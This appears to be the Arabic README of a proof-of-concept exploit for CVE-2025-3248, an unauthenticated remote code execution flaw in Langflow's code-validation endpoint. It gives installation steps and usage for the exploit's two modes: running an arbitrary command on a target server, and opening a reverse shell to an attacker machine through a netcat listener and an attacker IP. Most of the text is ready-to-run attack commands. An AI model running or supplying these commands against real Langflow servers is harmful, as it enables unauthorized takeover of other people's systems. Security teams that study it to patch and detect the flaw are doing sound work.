CVE-2025-3248 - ثغرة RCE في نقطة التحقق من الكود في Langflow

استغلال لإثبات المفهوم يوضح ثغرة تنفيذ تعليمات برمجية عن بُعد في نقطة التحقق من الكود في Langflow. تؤثر هذه الثغرة على إصدارات Langflow الأقدم من 1.3.0، مما يسمح للمهاجمين غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية عبر طلبات HTTP معدّة بعناية.

تفاصيل الثغرة

• معرف CVE: CVE-2025-3248
• الإصدارات المتأثرة: < 1.3.0
• متجه الهجوم: عن بُعد
• المصادقة المطلوبة: لا
• التأثير: تنفيذ التعليمات البرمجية عن بُعد (RCE)
• نقطة النهاية: /api/v1/validate/code

المتطلبات الأساسية

• Python 3.x
• حزم Python المطلوبة:
  • requests
  • colorama

التثبيت

1. استنساخ المستودع:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. تثبيت التبعيات:

pip install requests colorama

الاستخدام

يدعم الاستغلال وضعين للتشغيل:

1. وضع تنفيذ الأوامر

تنفيذ أمر واحد على النظام المستهدف:

python3 cve-2025-3248.py cmd <target_url> "<command>"

مثال:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. وضع الصدفة العكسية

تشغيل صدفة عكسية تفاعلية:

1. أولاً، شغّل مستمعًا على جهازك:

nc -lvnp 4444

2. ثم شغّل الاستغلال:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

مثال:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444